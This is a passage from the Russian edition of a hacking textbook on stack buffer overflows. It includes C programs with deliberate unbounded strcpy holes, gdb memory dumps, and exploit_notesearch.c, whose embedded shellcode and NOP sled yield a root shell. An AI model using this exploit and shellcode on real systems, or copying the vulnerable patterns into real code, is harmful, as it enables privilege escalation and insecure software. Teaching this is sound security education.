Хакинг. Хакинг__искусство_эксплоита_2_е_469663841. Книга дает полное представление о программировании, машин ной архитектуре, сетевых соединениях и хакерских приемах
Скачать 2.5 Mb.
|
Ошибки на единицу или возникающие при трансляции Unicode отно- сятся к числу тех, которые трудно заметить в момент написания кода, но впоследствии их распознает любой программист. Однако есть не- сколько распространенных ошибок, на которых основаны далеко не столь очевидные эксплойты. Влияние этих ошибок на безопасность не всегда заметно, и соответствующие проблемы с защитой распростране- ны по всему коду. Поскольку одни и те же ошибки совершаются в раз- ных местах, для них были разработаны обобщенные методы эксплой- тов, которыми можно воспользоваться в различных ситуациях. 0x320 Переполнение буфера 139 Большинство программных эксплойтов основаны на искажении дан- ных в памяти. К ним относятся такие стандартные приемы, как экс- плойт переполнения буфера и менее распространенный эксплойт фор- матной строки. Во всех случаях конечной целью является получение контроля над выполнением атакуемой программы, с тем чтобы заста- вить ее выполнить вредоносный фрагмент кода, который теми или иными средствами удалось поместить в память. Это называется вы- полнением произвольного кода, поскольку хакер может заставить про- грамму делать практически что угодно. Подобно лазейке ЛаМаккиа, существование таких уязвимостей обусловлено наличием некоторых неожиданных ситуаций, с которыми программа не может справить- ся. В обычных условиях такие нестандартные случаи приводят к кра- ху программы – можно сказать, к ее падению в пропасть со скалы. Но если тщательно контролировать среду, то можно контролировать ис- полнение, предотвращая аварию и перепрограммирование процесса. 0x320 Переполнение буфера Уязвимости вроде переполнения буфера обнаружились еще на заре компьютерной эпохи и продолжают существовать по сей день. Боль- шинство интернет-червей использует для своего распространения пе- реполнение буфера, и даже свежайшая уязвимость нулевого дня, VML в Internet Explorer, связана с переполнением буфера. C – язык программирования высокого уровня, но он предполагает, что целостность данных обеспечивает сам программист. Если возложить ответственность за целостность данных на компилятор, то в результате будут получаться исполняемые файлы, которые станут работать зна- чительно медленнее из-за проверок целостности, осуществляемых для каждой переменной. Кроме того, программист в значительной мере утратит контроль над программой, а язык усложнится. Простота C позволяет программисту лучше контролировать готовые программы, повышая их эффективность, но если программист недо- статочно внимателен, она может привести к появлению программ, подверженных переполнению буфера или утечкам памяти. Имеет- ся в виду, что если переменной выделена память, то никакие встроен- ные механизмы защиты не обеспечат соответствие размеров помещае- мых в переменную данных и отведенного для нее пространства памя- ти. Если программист захочет записать десять байт данных в буфер, которому выделено только восемь байт памяти, ничто не запретит ему это сделать, даже если в результате почти наверняка последует крах программы. Такое действие называют переполнением буфера, посколь- ку два лишних байта переполнят буфер и разместятся за пределами от- веденной памяти, разрушив то, что находилось дальше. Если будет из- менен важный участок данных, это вызовет крах программы. Соответ- ствующий пример дает следующий код. 140 0x300 Эксплойты overflow_example.c #include #include int main(int argc, char *argv[]) { int value = 5; char buffer_one[8], buffer_two[8]; strcpy(buffer_one, “one”); /* Put “one” into buffer_one. */ strcpy(buffer_two, “two”); /* Put “two” into buffer_two. */ printf(“[BEFORE] buffer_two is at %p and contains \’%s\’\n”, buffer_two, buffer_two); printf(“[BEFORE] buffer_one is at %p and contains \’%s\’\n”, buffer_one, buffer_one); printf(“[BEFORE] value is at %p and is %d (0x%08x)\n”, &value, value, value); printf(“\n[STRCPY] copying %d bytes into buffer_two\n\n”, strlen(argv[1])); strcpy(buffer_two, argv[1]); /* Copy first argument into buffer_two. */ printf(“[AFTER] buffer_two is at %p and contains \’%s\’\n”, buffer_two, buffer_two); printf(“[AFTER] buffer_one is at %p and contains \’%s\’\n”, buffer_one, buffer_one); printf(“[AFTER] value is at %p and is %d (0x%08x)\n”, &value, value, value); } Вы уже должны уметь прочитать предложенный исходный код и ра- зобраться в работе этой программы. Ниже показано, как после компи- ляции мы пытаемся скопировать десять байт из первого аргумента ко- мандной строки в buffer_two, в котором для данных выделено всего во- семь байт. reader@hacking:/booksrc $ gcc -o overflow_example overflow_example.c reader@hacking:/booksrc $ ./overflow_example 1234567890 [BEFORE] buffer_two is at 0xbffff7f0 and contains ‘two’ [BEFORE] buffer_one is at 0xbffff7f8 and contains ‘one’ [BEFORE] value is at 0xbffff804 and is 5 (0x00000005) [STRCPY] copying 10 bytes into buffer_two [AFTER] buffer_two is at 0xbffff7f0 and contains ‘1234567890’ [AFTER] buffer_one is at 0xbffff7f8 and contains ‘90’ [AFTER] value is at 0xbffff804 and is 5 (0x00000005) reader@hacking:/booksrc $ Обратите внимание: buffer_one располагается в памяти сразу за buffer_ two , поэтому при копировании десяти байт в buffer_two последние два байта (90) попадают в buffer_one и замещают находящиеся там данные. 0x320 Переполнение буфера 141 Естественно, если увеличить буфер, его содержимое заместит и другие переменные, а если еще больше его увеличить, то программа аварий- но завершится. reader@hacking:/booksrc $ ./overflow_example AAAAAAAAAAAAAAAAAAAAAAAAAAAAA [BEFORE] buffer_two is at 0xbffff7e0 and contains ‘two’ [BEFORE] buffer_one is at 0xbffff7e8 and contains ‘one’ [BEFORE] value is at 0xbffff7f4 and is 5 (0x00000005) [STRCPY] copying 29 bytes into buffer_two [AFTER] buffer_two is at 0xbffff7e0 and contains ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAA’ [AFTER] buffer_one is at 0xbffff7e8 and contains ‘AAAAAAAAAAAAAAAAAAAAA’ [AFTER] value is at 0xbffff7f4 and is 1094795585 (0x41414141) Segmentation fault (core dumped) reader@hacking:/booksrc $ Такого рода ошибки достаточно распространены – вспомните, как ча- сто программы завершаются аварийно или показывают вам синий экран смерти. Здесь недосмотр программиста: ему следовало прове- рять длину или ввести ограничение на размер вводимых пользовате- лем данных. Такие ошибки легко допустить и трудно заметить. На са- мом деле, в программе notesearch.c из раздела 0x283 есть ошибка пере- полнения буфера. Возможно, вы этого не заметили, даже если знаете C. reader@hacking:/booksrc $ ./notesearch AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA -------[ end of note data ]------- Segmentation fault reader@hacking:/booksrc $ Аварийное завершение программы раздражает, но в руках хакера оно может стать угрожающим. Умелый хакер может перехватить управ- ление программой при ее крахе и получить неожиданные результаты. Эту опасность демонстрирует код exploit_notesearch. exploit_notesearch.c #include #include #include char shellcode[]= “\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68” “\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89” “\xe1\xcd\x80”; int main(int argc, char *argv[]) { unsigned int i, *ptr, ret, offset=270; char *command, *buffer; 142 0x300 Эксплойты command = (char *) malloc(200); bzero(command, 200); // Обнулить новую память. strcpy(command, “./notesearch \’”); // Начать буфер команды. buffer = command + strlen(command); // Поместить в конце буфер. if(argc > 1) // Задать смещение. offset = atoi(argv[1]); ret = (unsigned int) &i - offset; // Задать адрес возврата. for(i=0; i < 160; i+=4) // Заполнить буфер адресом возврата. *((unsigned int *)(buffer+i)) = ret; memset(buffer, 0x90, 60); // Построить цепочку NOP. memcpy(buffer+60, shellcode, sizeof(shellcode)-1); strcat(command, “\’”); system(command); // Запустить эксплойт. free(command); } Подробно код этого эксплойта обсуждается ниже, а общий его смысл в том, чтобы сгенерировать командную строку, которая вызовет про- грамму notesearch, передав ей аргумент в одиночных кавычках. Для этого применяются функции работы со строками: strlen() для полу- чения длины строки (чтобы установить указатель на буфер) и strcat() для дописывания в конец одиночной кавычки. Наконец, командная строка выполняется с помощью функции system. Буфер, помещаемый между кавычками, это главная часть эксплойта. Все остальное служит лишь средством доставки этой отравленной пилюли. Посмотрите, что можно сделать при контроле над аварийным завершением. reader@hacking:/booksrc $ gcc exploit_notesearch.c reader@hacking:/booksrc $ ./a.out [DEBUG] found a 34 byte note for user id 999 [DEBUG] found a 41 byte note for user id 999 -------[ end of note data ]------- sh-3.2# С помощью переполнения буфера этот эксплойт предоставляет обо- лочку с правами суперпользователя и, таким образом, полный доступ к компьютеру. Это пример эксплойта, основанного на переполнении буфера в стеке. 0x321 Переполнение буфера в стеке Эксплойт notesearch вносит искажения в память, чтобы получить кон- троль над выполнением программы. Идею иллюстрирует программа auth_overflow.c. 0x320 Переполнение буфера 143 auth_overflow.c #include #include #include int check_authentication(char *password) { int auth_flag = 0; char password_buffer[16]; strcpy(password_buffer, password); if(strcmp(password_buffer, “brillig”) == 0) auth_flag = 1; if(strcmp(password_buffer, “outgrabe”) == 0) auth_flag = 1; return auth_flag; } int main(int argc, char *argv[]) { if(argc < 2) { printf(“Usage: %s \n”, argv[0]); exit(0); } if(check_authentication(argv[1])) { printf(“\n-=-=-=-=-=-=-=-=-=-=-=-=-=-\n”); printf(“ Access Granted.\n”); printf(“-=-=-=-=-=-=-=-=-=-=-=-=-=-\n”); } else { printf(“\nAccess Denied.\n”); } } В этом примере в качестве единственного аргумента командной стро- ки принимается пароль, а затем вызывается функция check_authentica- tion() . Эта функция допускает два пароля, что должно указывать на возможность нескольких методов аутентификации. Если использован любой из этих двух паролей, функция возвращает 1, что означает раз- решение доступа. Все это должно быть понятно вам из исходного кода до компиляции. При компиляции воспользуйтесь опцией -g, потому что далее мы зай- мемся отладкой программы. reader@hacking:/booksrc $ gcc -g -o auth_overflow auth_overflow.c reader@hacking:/booksrc $ ./auth_overflow Usage: ./auth_overflow reader@hacking:/booksrc $ ./auth_overflow test Access Denied. reader@hacking:/booksrc $ ./auth_overflow brillig 144 0x300 Эксплойты -=-=-=-=-=-=-=-=-=-=-=-=-=- Access Granted. -=-=-=-=-=-=-=-=-=-=-=-=-=- reader@hacking:/booksrc $ ./auth_overflow outgrabe -=-=-=-=-=-=-=-=-=-=-=-=-=- Access Granted. -=-=-=-=-=-=-=-=-=-=-=-=-=- reader@hacking:/booksrc $ Пока все работает так, как подсказывает нам исходный код. Этого и следует ожидать от такого детерминированного объекта, как ком- пьютерная программа. Но переполнение легко может привести к не- ожиданному и даже противоречащему здравому смыслу поведению, когда доступ будет разрешен, несмотря на неверный пароль. reader@hacking:/booksrc $ ./auth_overflow AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA -=-=-=-=-=-=-=-=-=-=-=-=-=- Access Granted. -=-=-=-=-=-=-=-=-=-=-=-=-=- reader@hacking:/booksrc $ Возможно, вы уже догадались, что произошло, но воспользуемся от- ладчиком, чтобы выяснить конкретные детали. reader@hacking:/booksrc $ gdb -q ./auth_overflow Using host libthread_db library “/lib/tls/i686/cmov/libthread_db.so.1”. (gdb) list 1 1 #include 2 #include 3 #include 4 5 int check_authentication(char *password) { 6 int auth_flag = 0; 7 char password_buffer[16]; 8 9 strcpy(password_buffer, password); 10 (gdb) 11 if(strcmp(password_buffer, “brillig”) == 0) 12 auth_flag = 1; 13 if(strcmp(password_buffer, “outgrabe”) == 0) 14 auth_flag = 1; 15 16 return auth_flag; 17 } 18 19 int main(int argc, char *argv[]) { 20 if(argc < 2) { (gdb) break 9 Breakpoint 1 at 0x8048421: file auth_overflow.c, line 9. 0x320 Переполнение буфера 145 (gdb) break 16 Breakpoint 2 at 0x804846f: file auth_overflow.c, line 16. (gdb) Отладчик GDB запущен с опцией -q, запрещающей вывод приветствен- ного баннера, а точки останова установлены в строках 9 и 16. После за- пуска программы ее выполнение прервется в этих точках, и мы полу- чим возможность изучить содержимое памяти. (gdb) run AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Starting program: /home/reader/booksrc/auth_overflow AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Breakpoint 1, check_authentication (password=0xbffff9af ‘A’ (gdb) x/s password_buffer 0xbffff7a0: “)????o??????)\205\004\b?o??p???????” (gdb) x/x &auth_flag 0xbffff7bc: 0x00000000 (gdb) print 0xbffff7bc - 0xbffff7a0 $1 = 28 (gdb) x/16xw password_buffer 0xbffff7a0: 0xb7f9f729 0xb7fd6ff4 0xbffff7d8 0x08048529 0xbffff7b0: 0xb7fd6ff4 0xbffff870 0xbffff7d8 0x00000000 0xbffff7c0: 0xb7ff47b0 0x08048510 0xbffff7d8 0x080484bb 0xbffff7d0: 0xbffff9af 0x08048510 0xbffff838 0xb7eafebc (gdb) Первая точка останова находится перед вызовом strcpy(). Иссле- дуя указатель password_buffer, мы видим, что он указывает на адрес 0xbffff7a0 , где находятся случайные неинициализированные данные. Изучая переменную auth_flag, мы видим, что она хранится по адресу 0xbffff7bc и ее значение 0. С помощью команды print, позволяющей выполнять арифметические действия, обнаруживаем, что auth_flag на- ходится через 28 байт после password_buffer. Это видно также по распе- чатке блока памяти начиная с password_buffer. Адрес auth_flag выделен полужирным. (gdb) continue Continuing. Breakpoint 2, check_authentication (password=0xbffff9af ‘A’ (gdb) x/s password_buffer 0xbffff7a0: ‘A’ (gdb) x/x &auth_flag 0xbffff7bc: 0x00004141 (gdb) x/16xw password_buffer 146 0x300 Эксплойты 0xbffff7a0: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffff7b0: 0x41414141 0x41414141 0x41414141 0x00004141 0xbffff7c0: 0xb7ff47b0 0x08048510 0xbffff7d8 0x080484bb 0xbffff7d0: 0xbffff9af 0x08048510 0xbffff838 0xb7eafebc (gdb) x/4cb &auth_flag 0xbffff7bc: 65 ‘A’ 65 ‘A’ 0 ‘\0’ 0 ‘\0’ (gdb) x/dw &auth_flag 0xbffff7bc: 16705 (gdb) Продолжим работу до следующей точки останова (после strcpy()) и сно- ва посмотрим на эти адреса памяти. Переполнение password_buffer из- менило первые два байта auth_flag на 0x41. Значение 0x00004141 выгля- дит как переставленное задом наперед, но вспомним, что архитекту- ра x86 предполагает хранение начиная с младшего байта, поэтому все правильно. Посмотрев на эти четыре байта отдельно, можно увидеть, как они на самом деле расположены в памяти. В конечном итоге про- грамма рассматривает это значение как целое число 16 705. (gdb) continue Continuing. -=-=-=-=-=-=-=-=-=-=-=-=-=- Access Granted. -=-=-=-=-=-=-=-=-=-=-=-=-=- Program exited with code 034. (gdb) После того как произойдет переполнение буфера, функция check_au- thentication() вернет вместо 0 значение 16 705. Поскольку оператор if любое ненулевое значение рассматривает как подтверждение аутен- тификации, управление передается в ту часть, которая соответствует успешной проверке. В данном примере переменная auth_flag является точкой останова управления, и изменение ее значения определяет ход выполнения программы. Однако это слишком искусственный пример, зависящий от располо- жения переменных в памяти. В программе auth_overflow2.c перемен- ные объявляются в обратном порядке. (Изменения относительно auth_ overflow.c выделены полужирным.) auth_overflow2.c #include #include #include int check_authentication(char *password) { char password_buffer[16]; int auth_flag = 0; 0x320 Переполнение буфера 147 strcpy(password_buffer, password); if(strcmp(password_buffer, “brillig”) == 0) auth_flag = 1; if(strcmp(password_buffer, “outgrabe”) == 0) auth_flag = 1; return auth_flag; } int main(int argc, char *argv[]) { if(argc < 2) { printf(“Usage: %s \n”, argv[0]); exit(0); } if(check_authentication(argv[1])) { printf(“\n-=-=-=-=-=-=-=-=-=-=-=-=-=-\n”); printf(“ Access Granted.\n”); printf(“-=-=-=-=-=-=-=-=-=-=-=-=-=-\n”); } else { printf(“\nAccess Denied.\n”); } } Это простое изменение размещает в памяти переменную auth_flag пе- ред массивом password_buffer. Тем самым нельзя больше воспользовать- ся переменной return_value для управления выполнением программы, потому что переполнение буфера перестало разрушать ее значения. reader@hacking:/booksrc $ gcc -g auth_overflow2.c reader@hacking:/booksrc $ gdb -q ./a.out Using host libthread_db library “/lib/tls/i686/cmov/libthread_db.so.1”. (gdb) list 1 1 #include 2 #include 3 #include 4 5 int check_authentication(char *password) { 6 char password_buffer[16]; 7 int auth_flag = 0; 8 9 strcpy(password_buffer, password); 10 (gdb) 11 if(strcmp(password_buffer, “brillig”) == 0) 12 auth_flag = 1; 13 if(strcmp(password_buffer, “outgrabe”) == 0) 14 auth_flag = 1; 15 16 return auth_flag; 17 } 18 |